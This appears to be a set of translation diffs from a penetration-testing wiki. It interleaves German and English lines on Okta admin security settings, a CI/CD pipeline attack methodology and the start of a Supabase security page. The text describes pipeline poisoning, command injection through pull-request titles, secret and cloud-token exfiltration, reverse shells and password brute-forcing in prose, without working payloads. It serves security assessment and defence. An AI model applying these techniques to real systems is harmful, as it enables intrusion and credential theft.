Darüber hinaus können Sie im Tab **Einstellungen**, wenn Sie Administrator sind, "**Eine benutzerdefinierte Abmeldeseite verwenden**" und eine benutzerdefinierte URL festlegen.
Moreover, in the **Setting** tab, if you are admin, you can "**Use a custom sign-out page**" and set a custom URL.
### SMS
Hier gibt es nichts Interessantes.
Nothing interesting here.
### Endbenutzer-Dashboard
### End-User Dashboard
Hier finden Sie konfigurierte Anwendungen, aber wir werden die Details später in einem anderen Abschnitt sehen.
You can find here applications configured, but we will see the details of those later in a different section.
### Sonstiges
### Other
Interessante Einstellung, aber nichts super Interessantes aus Sicht der Sicherheit.
Interesting setting, but nothing super interesting from a security point of view.
## Anwendungen
## Applications
### Anwendungen
### Applications
Hier finden Sie alle **konfigurierten Anwendungen** und deren Details: Wer Zugriff auf sie hat, wie sie konfiguriert sind (SAML, OpenID), URL zum Anmelden, die Zuordnungen zwischen Okta und der Anwendung...
Here you can find all the **configured applications** and their details: Who has access to them, how is it configured (SAML, OPenID), URL to login, the mappings between Okta and the application...
Im Tab **`Sign On`** gibt es auch ein Feld namens **`Password reveal`**, das es einem Benutzer ermöglichen würde, sein **Passwort offenzulegen**, wenn er die Anwendungseinstellungen überprüft. Um die Einstellungen einer Anwendung vom Benutzerpanel aus zu überprüfen, klicken Sie auf die 3 Punkte:
In the **`Sign On`** tab there is also a field called **`Password reveal`** that would allow a user to **reveal his password** when checking the application settings. To check the settings of an application from the User Panel, click the 3 dots:
<figure><img src="../../images/image (283).png" alt=""><figcaption></figcaption></figure>
Und Sie könnten einige weitere Details zur App sehen (wie die Passwortoffenlegungsfunktion, wenn sie aktiviert ist):
And you could see some more details about the app (like the password reveal feature, if it's enabled):
<figure><img src="../../images/image (220).png" alt=""><figcaption></figcaption></figure>
## Identitätsgovernance
## Identity Governance
### Zugriffszertifizierungen
### Access Certifications
Verwenden Sie Zugriffszertifizierungen, um Auditkampagnen zu erstellen, um den Zugriff Ihrer Benutzer auf Ressourcen regelmäßig zu überprüfen und den Zugriff automatisch zu genehmigen oder zu widerrufen, wenn dies erforderlich ist.
Use Access Certifications to create audit campaigns to review your users' access to resources periodically and approve or revoke access automatically when required.
Ich habe es nicht gesehen, aber ich nehme an, dass es aus defensiver Sicht eine nette Funktion ist.
I haven't seen it used, but I guess that from a defensive point of view it's a nice feature.
## Sicherheit
## Security
### Allgemein
### General
- **Sicherheitsbenachrichtigungs-E-Mails**: Alle sollten aktiviert sein.
- **CAPTCHA-Integration**: Es wird empfohlen, mindestens das unsichtbare reCaptcha einzustellen.
- **Sicherheitsorganisation**: Alles kann aktiviert werden, und Aktivierungs-E-Mails sollten nicht lange dauern (7 Tage sind in Ordnung).
- **Benutzernummernverhinderung**: Beide sollten aktiviert sein.
- Beachten Sie, dass die Benutzernummernverhinderung nicht wirksam wird, wenn eine der folgenden Bedingungen erlaubt ist (siehe [Benutzerverwaltung](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) für weitere Informationen):
- Selbstregistrierung
- JIT-Workflows mit E-Mail-Authentifizierung
- **Okta ThreatInsight-Einstellungen**: Protokollieren und Durchsetzen von Sicherheit basierend auf dem Bedrohungsniveau.
- **Security notification emails**: All should be enabled.
- **CAPTCHA integration**: It's recommended to set at least the invisible reCaptcha
- **Organization Security**: Everything can be enabled and activation emails shouldn't last long (7 days is ok)
- **User enumeration prevention**: Both should be enabled
- Note that User Enumeration Prevention doesn't take effect if either of the following conditions are allowed (See [User management](https://help.okta.com/oie/en-us/Content/Topics/users-groups-profiles/usgp-main.htm) for more information):
- Self-Service Registration
- JIT flows with email authentication
- **Okta ThreatInsight settings**: Log and enforce security based on threat level
### HealthInsight
Hier ist es möglich, korrekt und **gefährlich** konfigurierte **Einstellungen** zu finden.
Here is possible to find correctly and **dangerous** configured **settings**.
### Authentifizierer
### Authenticators
Hier finden Sie alle Authentifizierungsmethoden, die ein Benutzer verwenden könnte: Passwort, Telefon, E-Mail, Code, WebAuthn... Wenn Sie auf den Passwort-Authentifizierer klicken, können Sie die **Passwortrichtlinie** sehen. Überprüfen Sie, ob sie stark ist.
Here you can find all the authentication methods that a user could use: Password, phone, email, code, WebAuthn... Clicking in the Password authenticator you can see the **password policy**. Check that it's strong.
Im Tab **Enrollment** können Sie sehen, wie die erforderlichen oder optionalen aussehen:
In the **Enrollment** tab you can see how the ones that are required or optinal:
<figure><img src="../../images/image (143).png" alt=""><figcaption></figcaption></figure>
Es wird empfohlen, das Telefon zu deaktivieren. Die stärksten sind wahrscheinlich eine Kombination aus Passwort, E-Mail und WebAuthn.
It's recommendatble to disable Phone. The strongest ones are probably a combination of password, email and WebAuthn.
### Authentifizierungsrichtlinien
### Authentication policies
Jede App hat eine Authentifizierungsrichtlinie. Die Authentifizierungsrichtlinie überprüft, ob Benutzer, die versuchen, sich bei der App anzumelden, bestimmte Bedingungen erfüllen, und sie erzwingt Faktoranforderungen basierend auf diesen Bedingungen.
Every app has an authentication policy. The authentication policy verifies that users who try to sign in to the app meet specific conditions, and it enforces factor requirements based on those conditions.
Hier finden Sie die **Anforderungen für den Zugriff auf jede Anwendung**. Es wird empfohlen, mindestens ein Passwort und eine andere Methode für jede Anwendung anzufordern. Aber wenn Sie als Angreifer etwas Schwächeres finden, könnten Sie es angreifen.
Here you can find the **requirements to access each application**. It's recommended to request at least password and another method for each application. But if as attacker you find something more weak you might be able to attack it.
### Globale Sitzungsrichtlinie
### Global Session Policy
Hier finden Sie die Sitzungsrichtlinien, die verschiedenen Gruppen zugewiesen sind. Zum Beispiel:
Here you can find the session policies assigned to different groups. For example:
<figure><img src="../../images/image (245).png" alt=""><figcaption></figcaption></figure>
Es wird empfohlen, MFA anzufordern, die Sitzungsdauer auf einige Stunden zu beschränken, Sitzungs-Cookies nicht über Browsererweiterungen hinweg zu speichern und den Standort und den Identitätsanbieter (wenn dies möglich ist) zu beschränken. Wenn beispielsweise jeder Benutzer aus einem bestimmten Land anmelden sollte, könnten Sie nur diesen Standort zulassen.
It's recommended to request MFA, limit the session lifetime to some hours, don't persis session cookies across browser extensions and limit the location and Identity Provider (if this is possible). For example, if every user should be login from a country you could only allow this location.
### Identitätsanbieter
### Identity Providers
Identitätsanbieter (IdPs) sind Dienste, die **Benutzerkonten verwalten**. Das Hinzufügen von IdPs in Okta ermöglicht es Ihren Endbenutzern, sich mit Ihren benutzerdefinierten Anwendungen selbst zu registrieren, indem sie sich zuerst mit einem sozialen Konto oder einer Smartcard authentifizieren.
Identity Providers (IdPs) are services that **manage user accounts**. Adding IdPs in Okta enables your end users to **self-register** with your custom applications by first authenticating with a social account or a smart card.
Auf der Seite Identitätsanbieter können Sie soziale Anmeldungen (IdPs) hinzufügen und Okta als Dienstanbieter (SP) konfigurieren, indem Sie eingehendes SAML hinzufügen. Nachdem Sie IdPs hinzugefügt haben, können Sie Routingregeln einrichten, um Benutzer basierend auf dem Kontext, wie dem Standort des Benutzers, dem Gerät oder der E-Mail-Domain, an einen IdP weiterzuleiten.
On the Identity Providers page, you can add social logins (IdPs) and configure Okta as a service provider (SP) by adding inbound SAML. After you've added IdPs, you can set up routing rules to direct users to an IdP based on context, such as the user's location, device, or email domain.
**Wenn ein Identitätsanbieter konfiguriert ist**, überprüfen Sie aus der Perspektive eines Angreifers und Verteidigers diese Konfiguration und **ob die Quelle wirklich vertrauenswürdig ist**, da ein Angreifer, der sie kompromittiert, auch Zugriff auf die Okta-Umgebung erhalten könnte.
**If any identity provider is configured** from an attackers and defender point of view check that configuration and **if the source is really trustable** as an attacker compromising it could also get access to the Okta environment.
### Delegierte Authentifizierung
### Delegated Authentication
Die delegierte Authentifizierung ermöglicht es Benutzern, sich bei Okta anzumelden, indem sie Anmeldeinformationen für den **Active Directory (AD) oder LDAP**-Server ihrer Organisation eingeben.
Delegated authentication allows users to sign in to Okta by entering credentials for their organization's **Active Directory (AD) or LDAP** server.
Überprüfen Sie dies erneut, da ein Angreifer, der das AD einer Organisation kompromittiert, möglicherweise über diese Einstellung zu Okta pivotieren könnte.
Again, recheck this, as an attacker compromising an organizations AD could be able to pivot to Okta thanks to this setting.
### Netzwerk
### Network
Eine Netzwerkzone ist eine konfigurierbare Grenze, die Sie verwenden können, um **Zugriff auf Computer und Geräte** in Ihrer Organisation basierend auf der **IP-Adresse**, die Zugriff anfordert, zu gewähren oder einzuschränken. Sie können eine Netzwerkzone definieren, indem Sie eine oder mehrere einzelne IP-Adressen, IP-Adressbereiche oder geografische Standorte angeben.
A network zone is a configurable boundary that you can use to **grant or restrict access to computers and devices** in your organization based on the **IP address** that is requesting access. You can define a network zone by specifying one or more individual IP addresses, ranges of IP addresses, or geographic locations.
Nachdem Sie eine oder mehrere Netzwerkzonen definiert haben, können Sie **sie in globalen Sitzungsrichtlinien**, **Authentifizierungsrichtlinien**, VPN-Benachrichtigungen und **Routingregeln** verwenden.
After you define one or more network zones, you can **use them in Global Session Policies**, **authentication policies**, VPN notifications, and **routing rules**.
Aus der Perspektive eines Angreifers ist es interessant zu wissen, welche IPs erlaubt sind (und zu überprüfen, ob einige **IPs privilegierter** sind als andere). Aus der Perspektive eines Angreifers, wenn die Benutzer von einer bestimmten IP-Adresse oder Region aus zugreifen sollten, überprüfen Sie, ob diese Funktion ordnungsgemäß verwendet wird.
From an attackers perspective it's interesting to know which Ps are allowed (and check if any **IPs are more privileged** than others). From an attackers perspective, if the users should be accessing from an specific IP address or region check that this feature is used properly.
### Geräteintegrationen
### Device Integrations
- **Endpoint-Management**: Endpoint-Management ist eine Bedingung, die in einer Authentifizierungsrichtlinie angewendet werden kann, um sicherzustellen, dass verwaltete Geräte Zugriff auf eine Anwendung haben.
- Ich habe dies noch nicht gesehen. TODO
- **Benachrichtigungsdienste**: Ich habe dies noch nicht gesehen. TODO
- **Endpoint Management**: Endpoint management is a condition that can be applied in an authentication policy to ensure that managed devices have access to an application.
- I haven't seen this used yet. TODO
- **Notification services**: I haven't seen this used yet. TODO
### API
Sie können auf dieser Seite Okta-API-Token erstellen und die **erstellten**, deren **Berechtigungen**, **Ablaufzeit** und **Ursprungs-URLs** sehen. Beachten Sie, dass API-Token mit den Berechtigungen des Benutzers generiert werden, der das Token erstellt hat, und nur gültig sind, wenn der **Benutzer**, der sie erstellt hat, **aktiv** ist.
You can create Okta API tokens in this page, and see the ones that have been **created**, theirs **privileges**, **expiration** time and **Origin URLs**. Note that an API tokens are generated with the permissions of the user that created the token and are valid only if the **user** who created them is **active**.
Die **Vertrauenswürdigen Ursprünge** gewähren Zugriff auf Websites, die Sie kontrollieren und denen Sie vertrauen, um auf Ihre Okta-Organisation über die Okta-API zuzugreifen.
The **Trusted Origins** grant access to websites that you control and trust to access your Okta org through the Okta API.
Es sollten nicht viele API-Token vorhanden sein, da ein Angreifer, wenn es viele gibt, versuchen könnte, auf sie zuzugreifen und sie zu verwenden.
There shuoldn't be a lot of API tokens, as if there are an attacker could try to access them and use them.
## Workflow
### Automatisierungen
### Automations
Automatisierungen ermöglichen es Ihnen, automatisierte Aktionen zu erstellen, die basierend auf einer Reihe von Auslösebedingungen ausgeführt werden, die während des Lebenszyklus der Endbenutzer auftreten.
Automations allow you to create automated actions that run based on a set of trigger conditions that occur during the lifecycle of end users.
Ein Beispiel für eine Bedingung könnte "Benutzerinaktivität in Okta" oder "Ablauf des Benutzerpassworts in Okta" sein, und die Aktion könnte "E-Mail an den Benutzer senden" oder "Ändern des Benutzerlebenszyklusstatus in Okta" sein.
For example a condition could be "User inactivity in Okta" or "User password expiration in Okta" and the action could be "Send email to the user" or "Change user lifecycle state in Okta".
## Berichte
## Reports
### Berichte
### Reports
Laden Sie Protokolle herunter. Sie werden an die **E-Mail-Adresse** des aktuellen Kontos **gesendet**.
Download logs. They are **sent** to the **email address** of the current account.
### Systemprotokoll
### System Log
Hier finden Sie die **Protokolle der von Benutzern durchgeführten Aktionen** mit vielen Details wie Anmeldungen in Okta oder in Anwendungen über Okta.
Here you can find the **logs of the actions performed by users** with a lot of details like login in Okta or in applications through Okta.
### Importüberwachung
### Import Monitoring
Dies kann **Protokolle von anderen Plattformen importieren**, die mit Okta aufgerufen wurden.
This can **import logs from the other platforms** accessed with Okta.
### Ratenlimits
### Rate limits
Überprüfen Sie die erreichten API-Ratenlimits.
Check the API rate limits reached.
## Einstellungen
## Settings
### Konto
### Account
Hier finden Sie **allgemeine Informationen** über die Okta-Umgebung, wie den Firmennamen, die Adresse, den **E-Mail-Rechnungs-Kontakt**, den **E-Mail-technischen Kontakt** und auch, wer Okta-Updates erhalten sollte und welche Art von Okta-Updates.
Here you can find **generic information** about the Okta environment, such as the company name, address, **email billing contact**, **email technical contact** and also who should receive Okta updates and which kind of Okta updates.
### Downloads
Hier können Sie Okta-Agents herunterladen, um Okta mit anderen Technologien zu synchronisieren.
Here you can download Okta agents to sync Okta with other technologies.
{{#include ../../banners/hacktricks-training.md}}

View File

@@ -1,4 +1,4 @@
# Pentesting CI/CD Methodik
# Pentesting CI/CD Methodology
{{#include ../banners/hacktricks-training.md}}
@@ -6,7 +6,7 @@
## VCS
VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, **ihren Quellcode zu verwalten**. Das gebräuchlichste ist **git** und in Unternehmen findet man es meist auf einer der folgenden **Plattformen**:
VCS stands for **Version Control System**, this systems allows developers to **manage their source code**. The most common one is **git** and you will usually find companies using it in one of the following **platforms**:
- Github
- Gitlab
@@ -18,93 +18,86 @@ VCS steht für **Versionskontrollsystem**, dieses System erlaubt Entwicklern, **
## CI/CD Pipelines
CI/CD pipelines ermöglichen es Entwicklern, die **Ausführung von Code zu automatisieren** für verschiedene Zwecke, einschließlich Build, Tests und Deployment von Anwendungen. Diese automatisierten Workflows werden durch **bestimmte Aktionen ausgelöst**, wie Code-Pushes, Pull Requests oder geplante Tasks. Sie helfen, den Prozess von der Entwicklung bis zur Produktion zu straffen.
CI/CD pipelines enable developers to **automate the execution of code** for various purposes, including building, testing, and deploying applications. These automated workflows are **triggered by specific actions**, such as code pushes, pull requests, or scheduled tasks. They are useful for streamlining the process from development to production.
Allerdings müssen diese Systeme **irgendwo ausgeführt** werden und in der Regel mit **privilegierten Zugangsdaten, um Code zu deployen oder auf sensible Informationen zuzugreifen**.
However, these systems need to be **executed somewhere** and usually with **privileged credentials to deploy code or access sensitive information**.
## VCS Pentesting Methodik
## VCS Pentesting Methodology
> [!NOTE]
> Even if some VCS platforms allow to create pipelines for this section we are going to analyze only potential attacks to the control of the source code.
Plattformen, die den Quellcode eines Projekts enthalten, bewahren sensible Informationen, weshalb sehr sorgfältig mit den Berechtigungen innerhalb dieser Plattform umgegangen werden muss. Hier einige häufige Probleme auf VCS-Plattformen, die ein Angreifer ausnutzen könnte:
Platforms that contains the source code of your project contains sensitive information and people need to be very careful with the permissions granted inside this platform. These are some common problems across VCS platforms that attacker could abuse:
- **Leaks**: Wenn dein Code leaks in den Commits enthält und ein Angreifer auf das Repo zugreifen kann (weil es public ist oder weil er Zugriff hat), könnte er die leaks entdecken.
- **Access**: Wenn ein Angreifer Zugang zu einem Account auf der VCS-Plattform erlangen kann, könnte er **mehr Sichtbarkeit und Berechtigungen** gewinnen.
- **Register**: Manche Plattformen erlauben externen Nutzern einfach, ein Konto zu erstellen.
- **SSO**: Einige Plattformen erlauben keine Registrierung, aber jeder mit einem gültigen SSO kann sich anmelden (ein Angreifer könnte z. B. sein github-Konto benutzen).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... es gibt verschiedene Tokenarten, die ein Nutzer stehlen könnte, um in gewisser Weise auf ein Repo zuzugreifen.
- **Webhooks**: VCS-Plattformen erlauben das Erstellen von Webhooks. Wenn diese **nicht mit nicht-sichtbaren secrets geschützt** sind, könnte ein **Angreifer sie missbrauchen**.
- Wenn kein Secret vorhanden ist, könnte ein Angreifer den Webhook der Drittanbieterplattform missbrauchen.
- Wenn das Secret in der URL steckt, gilt dasselbe und der Angreifer hat ebenfalls das Secret.
- **Code compromise:** Wenn ein böswilliger Akteur Schreibrechte über ein Repo hat, könnte er versuchen, **bösartigen Code zu injizieren**. Um erfolgreich zu sein, muss er möglicherweise **Branch Protections umgehen**. Diese Aktionen können mit verschiedenen Zielen durchgeführt werden:
- Kompromittierung des main-Branch, um die **Produktion zu kompromittieren**.
- Kompromittierung des main- (oder anderer) Branches, um **Entwickler-Rechner zu kompromittieren** (da diese oft Tests, terraform oder andere Dinge lokal aus dem Repo ausführen).
- **Compromise the pipeline** (siehe nächsten Abschnitt)
- **Leaks**: If your code contains leaks in the commits and the attacker can access the repo (because it's public or because he has access), he could discover the leaks.
- **Access**: If an attacker can **access to an account inside the VCS platform** he could gain **more visibility and permissions**.
- **Register**: Some platforms will just allow external users to create an account.
- **SSO**: Some platforms won't allow users to register, but will allow anyone to access with a valid SSO (so an attacker could use his github account to enter for example).
- **Credentials**: Username+Pwd, personal tokens, ssh keys, Oauth tokens, cookies... there are several kind of tokens a user could steal to access in some way a repo.
- **Webhooks**: VCS platforms allow to generate webhooks. If they are **not protected** with non visible secrets an **attacker could abuse them**.
- If no secret is in place, the attacker could abuse the webhook of the third party platform
- If the secret is in the URL, the same happens and the attacker also have the secret
- **Code compromise:** If a malicious actor has some kind of **write** access over the repos, he could try to **inject malicious code**. In order to be successful he might need to **bypass branch protections**. These actions can be performed with different goals in mid:
- Compromise the main branch to **compromise production**.
- Compromise the main (or other branches) to **compromise developers machines** (as they usually execute test, terraform or other things inside the repo in their machines).
- **Compromise the pipeline** (check next section)
## Pipelines Pentesting Methodik
## Pipelines Pentesting Methodology
Die gebräuchlichste Methode, eine Pipeline zu definieren, ist die Verwendung einer **CI-Konfigurationsdatei im Repository**, das die Pipeline baut. Diese Datei beschreibt die Reihenfolge der ausgeführten Jobs, Bedingungen, die den Ablauf beeinflussen, und Einstellungen für die Build-Umgebung.\
Diese Dateien haben typischerweise einen konsistenten Namen und ein konsistentes Format, zum Beispiel — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI) und die GitHub Actions YAML-Dateien unter .github/workflows. Wenn sie ausgelöst werden, **zieht der Pipeline-Job den Code** aus der ausgewählten Quelle (z. B. Commit / Branch) und **führt die in der CI-Konfigurationsdatei angegebenen Befehle** gegen diesen Code aus.
The most common way to define a pipeline, is by using a **CI configuration file hosted in the repository** the pipeline builds. This file describes the order of executed jobs, conditions that affect the flow, and build environment settings.\
These files typically have a consistent name and format, for example — Jenkinsfile (Jenkins), .gitlab-ci.yml (GitLab), .circleci/config.yml (CircleCI), and the GitHub Actions YAML files located under .github/workflows. When triggered, the pipeline job **pulls the code** from the selected source (e.g. commit / branch), and **runs the commands specified in the CI configuration file** against that code.
Daher ist das ultimative Ziel des Angreifers, auf irgendeine Weise **diese Konfigurationsdateien zu kompromittieren** oder die **Befehle, die sie ausführen**.
> [!TIP]
> Some hosted builders let contributors choose the Docker build context and Dockerfile path. If the context is attacker-controlled, you may set it outside the repo (e.g., "..") to ingest host files during build and exfiltrate secrets. See:
>
>{{#ref}}
>docker-build-context-abuse.md
>{{#endref}}
Therefore the ultimate goal of the attacker is to somehow **compromise those configuration files** or the **commands they execute**.
### PPE - Poisoned Pipeline Execution
Der Poisoned Pipeline Execution (PPE)-Pfad nutzt Berechtigungen in einem SCM-Repository aus, um eine CI-Pipeline zu manipulieren und schädliche Befehle auszuführen. Benutzer mit den notwendigen Rechten können CI-Konfigurationsdateien oder andere Dateien, die vom Pipeline-Job verwendet werden, so ändern, dass sie bösartige Befehle enthalten. Dies "vergiftet" die CI-Pipeline und führt zur Ausführung dieser bösartigen Befehle.
The Poisoned Pipeline Execution (PPE) path exploits permissions in an SCM repository to manipulate a CI pipeline and execute harmful commands. Users with the necessary permissions can modify CI configuration files or other files used by the pipeline job to include malicious commands. This "poisons" the CI pipeline, leading to the execution of these malicious commands.
Damit ein böswilliger Akteur einen PPE-Angriff erfolgreich durchführen kann, muss er:
For a malicious actor to be successful performing a PPE attack he needs to be able to:
- Schreibzugriff auf die VCS-Plattform haben, da Pipelines in der Regel ausgelöst werden, wenn ein Push oder ein Pull Request durchgeführt wird. (Siehe die VCS pentesting methodology für eine Zusammenfassung der Wege, Zugriff zu bekommen).
- Beachte, dass manchmal ein externer PR als "Schreibzugriff" gilt.
- Selbst wenn er Schreibberechtigungen hat, muss er sicherstellen, dass er die CI-Konfigurationsdatei oder andere Dateien, auf die die Konfiguration angewiesen ist, **ändern kann**.
- Dafür muss er möglicherweise Branch Protections umgehen.
- Have **write access to the VCS platform**, as usually pipelines are triggered when a push or a pull request is performed. (Check the VCS pentesting methodology for a summary of ways to get access).
- Note that sometimes an **external PR count as "write access"**.
- Even if he has write permissions, he needs to be sure he can **modify the CI config file or other files the config is relying on**.
- For this, he might need to be able to **bypass branch protections**.
Es gibt 3 PPE-Varianten:
There are 3 PPE flavours:
- **D-PPE**: Ein **Direct PPE**-Angriff findet statt, wenn der Akteur die **CI-Konfigurationsdatei direkt verändert**, die ausgeführt werden soll.
- **I-DDE**: Ein **Indirect PPE**-Angriff tritt auf, wenn der Akteur eine **Datei verändert, auf die die CI-Konfigurationsdatei angewiesen ist** (z. B. ein Makefile oder eine Terraform-Konfiguration).
- **Public PPE or 3PE**: In einigen Fällen können Pipelines **von Nutzern ausgelöst werden, die keinen Schreibzugriff auf das Repo haben** (und möglicherweise nicht einmal Teil der Organisation sind), weil sie einen PR senden können.
- **3PE Command Injection**: Üblicherweise setzen CI/CD-Pipelines **Umgebungsvariablen** mit **Informationen über den PR**. Wenn dieser Wert vom Angreifer kontrollierbar ist (z. B. der Titel des PR) und an einer **gefährlichen Stelle** verwendet wird (z. B. beim Ausführen von **sh-Befehlen**), könnte ein Angreifer **Befehle dort injizieren**.
- **D-PPE**: A **Direct PPE** attack occurs when the actor **modifies the CI config** file that is going to be executed.
- **I-DDE**: An **Indirect PPE** attack occurs when the actor **modifies** a **file** the CI config file that is going to be executed **relays on** (like a make file or a terraform config).
- **Public PPE or 3PE**: In some cases the pipelines can be **triggered by users that doesn't have write access in the repo** (and that might not even be part of the org) because they can send a PR.
- **3PE Command Injection**: Usually, CI/CD pipelines will **set environment variables** with **information about the PR**. If that value can be controlled by an attacker (like the title of the PR) and is **used** in a **dangerous place** (like executing **sh commands**), an attacker might **inject commands in there**.
### Exploitation Benefits
Wenn man die 3 Varianten kennt, schauen wir, was ein Angreifer nach einer erfolgreichen Kompromittierung erreichen könnte:
Knowing the 3 flavours to poison a pipeline, lets check what an attacker could obtain after a successful exploitation:
- **Secrets**: Wie zuvor erwähnt, benötigen Pipelines **Privilegien** für ihre Jobs (Code abrufen, bauen, deployen ...) und diese Privilegien werden üblicherweise in **secrets** hinterlegt. Diese secrets sind oft über **env-Variablen oder Dateien im System** zugänglich. Daher wird ein Angreifer immer versuchen, möglichst viele secrets zu exfiltrieren.
- Je nach Pipeline-Plattform muss der Angreifer **die secrets in der Konfiguration angeben**. Das bedeutet, wenn der Angreifer die CI-Konfiguration nicht modifizieren kann (z. B. I-PPE), könnte er **nur die secrets exfiltrieren, die der Pipeline bereits zur Verfügung stehen**.
- **Computation**: Der Code wird irgendwo ausgeführt; je nachdem, wo, kann ein Angreifer weiter pivotieren.
- **On-Premises**: Wenn die Pipelines On-Premises laufen, könnte ein Angreifer in ein **internes Netzwerk** gelangen und Zugriff auf weitere Ressourcen erhalten.
- **Cloud**: Der Angreifer könnte **andere Maschinen in der Cloud** erreichen, aber auch IAM-Rollen/Service-Account-Token exfiltrieren, um **weiteren Zugang in der Cloud** zu erhalten.
- **Plattformmaschinen**: Manchmal werden Jobs innerhalb der **Pipeline-Plattform-Maschinen** ausgeführt, die in der Regel in einer Cloud liegen und **keinen weiteren Zugriff** bieten.
- **Select it:** Manchmal hat die **Pipeline-Plattform mehrere Maschinen konfiguriert**, und wenn du die CI-Konfigurationsdatei ändern kannst, kannst du **angeben, wo du den bösartigen Code ausführen möchtest**. In diesem Fall wird ein Angreifer wahrscheinlich auf jeder möglichen Maschine eine Reverse-Shell starten, um weitere Exploits zu versuchen.
- **Compromise production**: Wenn du dich in der Pipeline befindest und die finale Version von dort gebaut und deployed wird, könntest du **den Code kompromittieren, der später in Produktion läuft**.
- **Secrets**: As it was mentioned previously, pipelines require **privileges** for their jobs (retrieve the code, build it, deploy it...) and this privileges are usually **granted in secrets**. These secrets are usually accessible via **env variables or files inside the system**. Therefore an attacker will always try to exfiltrate as much secrets as possible.
- Depending on the pipeline platform the attacker **might need to specify the secrets in the config**. This means that is the attacker cannot modify the CI configuration pipeline (**I-PPE** for example), he could **only exfiltrate the secrets that pipeline has**.
- **Computation**: The code is executed somewhere, depending on where is executed an attacker might be able to pivot further.
- **On-Premises**: If the pipelines are executed on premises, an attacker might end in an **internal network with access to more resources**.
- **Cloud**: The attacker could access **other machines in the cloud** but also could **exfiltrate** IAM roles/service accounts **tokens** from it to obtain **further access inside the cloud**.
- **Platforms machine**: Sometimes the jobs will be execute inside the **pipelines platform machines**, which usually are inside a cloud with **no more access**.
- **Select it:** Sometimes the **pipelines platform will have configured several machines** and if you can **modify the CI configuration file** you can **indicate where you want to run the malicious code**. In this situation, an attacker will probably run a reverse shell on each possible machine to try to exploit it further.
- **Compromise production**: If you ware inside the pipeline and the final version is built and deployed from it, you could **compromise the code that is going to end running in production**.
## Mehr relevante Informationen
## More relevant info
### Tools & CIS Benchmark
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) ist ein Open-Source-Tool zur Überprüfung deiner Software-Lieferkette auf Sicherheitskonformität basierend auf einem neuen [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). Das Audit konzentriert sich auf den gesamten SDLC-Prozess und kann Risiken vom Code bis zum Deployment aufdecken.
- [**Chain-bench**](https://github.com/aquasecurity/chain-bench) is an open-source tool for auditing your software supply chain stack for security compliance based on a new [**CIS Software Supply Chain benchmark**](https://github.com/aquasecurity/chain-bench/blob/main/docs/CIS-Software-Supply-Chain-Security-Guide-v1.0.pdf). The auditing focuses on the entire SDLC process, where it can reveal risks from code time into deploy time.
### Top 10 CI/CD Security Risk
Sieh dir diesen interessanten Artikel über die Top-10 CI/CD-Risiken laut Cider an: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
Check this interesting article about the top 10 CI/CD risks according to Cider: [**https://www.cidersecurity.io/top-10-cicd-security-risks/**](https://www.cidersecurity.io/top-10-cicd-security-risks/)
### Labs
- Für jede Plattform, die du lokal betreiben kannst, findest du Anleitungen, wie du sie lokal startest, damit du sie nach Belieben konfigurieren und testen kannst.
- On each platform that you can run locally you will find how to launch it locally so you can configure it as you want to test it
- Gitea + Jenkins lab: [https://github.com/cider-security-research/cicd-goat](https://github.com/cider-security-research/cicd-goat)
### Automatic Tools
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** ist ein Static-Code-Analyse-Tool für Infrastructure-as-Code.
- [**Checkov**](https://github.com/bridgecrewio/checkov): **Checkov** is a static code analysis tool for infrastructure-as-code.
## References

File diff suppressed because it is too large Load Diff

View File

@@ -1,49 +1,50 @@
# Supabase Sicherheit
# Supabase Security
{{#include ../banners/hacktricks-training.md}}
## Grundinformationen
## Basic Information
As per their [**landing page**](https://supabase.com/): Supabase is an open source Firebase alternative. Start your project with a Postgres database, Authentication, instant APIs, Edge Functions, Realtime subscriptions, Storage, and Vector embeddings.
### Subdomain
Im Grunde erhält der Benutzer beim Erstellen eines Projekts eine supabase.co-Subdomain wie: **`jnanozjdybtpqgcwhdiz.supabase.co`**
Basically when a project is created, the user will receive a supabase.co subdomain like: **`jnanozjdybtpqgcwhdiz.supabase.co`**
## **Database configuration**
> [!TIP]
> **Diese Daten können über einen Link wie `https://supabase.com/dashboard/project/<project-id>/settings/database` abgerufen werden**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/database`**
Diese **Datenbank** wird in einer AWS-Region bereitgestellt, und um sich damit zu verbinden ist es möglich, sich zu verbinden mit: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (dies wurde in us-west-1 erstellt).
Das Passwort ist ein **vom Benutzer zuvor gesetztes Passwort**.
This **database** will be deployed in some AWS region, and in order to connect to it it would be possible to do so connecting to: `postgres://postgres.jnanozjdybtpqgcwhdiz:[YOUR-PASSWORD]@aws-0-us-west-1.pooler.supabase.com:5432/postgres` (this was crated in us-west-1).\
The password is a **password the user put** previously.
Da die Subdomain bekannt ist, als Username verwendet wird und die AWS-Regionen begrenzt sind, könnte es möglich sein, einen **brute force the password** zu versuchen.
Therefore, as the subdomain is a known one and it's used as username and the AWS regions are limited, it might be possible to try to **brute force the password**.
Dieser Abschnitt enthält auch Optionen zum:
This section also contains options to:
- Datenbank-Passwort zurücksetzen
- Connection pooling konfigurieren
- SSL konfigurieren: Reject plan-text connections (standardmäßig sind sie aktiviert)
- Festplattengröße konfigurieren
- Netzwerkbeschränkungen und Sperren anwenden
- Reset the database password
- Configure connection pooling
- Configure SSL: Reject plan-text connections (by default they are enabled)
- Configure Disk size
- Apply network restrictions and bans
## API Configuration
> [!TIP]
> **Diese Daten können über einen Link wie `https://supabase.com/dashboard/project/<project-id>/settings/api` abgerufen werden**
> **This data can be accessed from a link like `https://supabase.com/dashboard/project/<project-id>/settings/api`**
Die URL, um auf die supabase API in deinem Projekt zuzugreifen, sieht beispielsweise so aus: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
The URL to access the supabase API in your project is going to be like: `https://jnanozjdybtpqgcwhdiz.supabase.co`.
### anon api keys
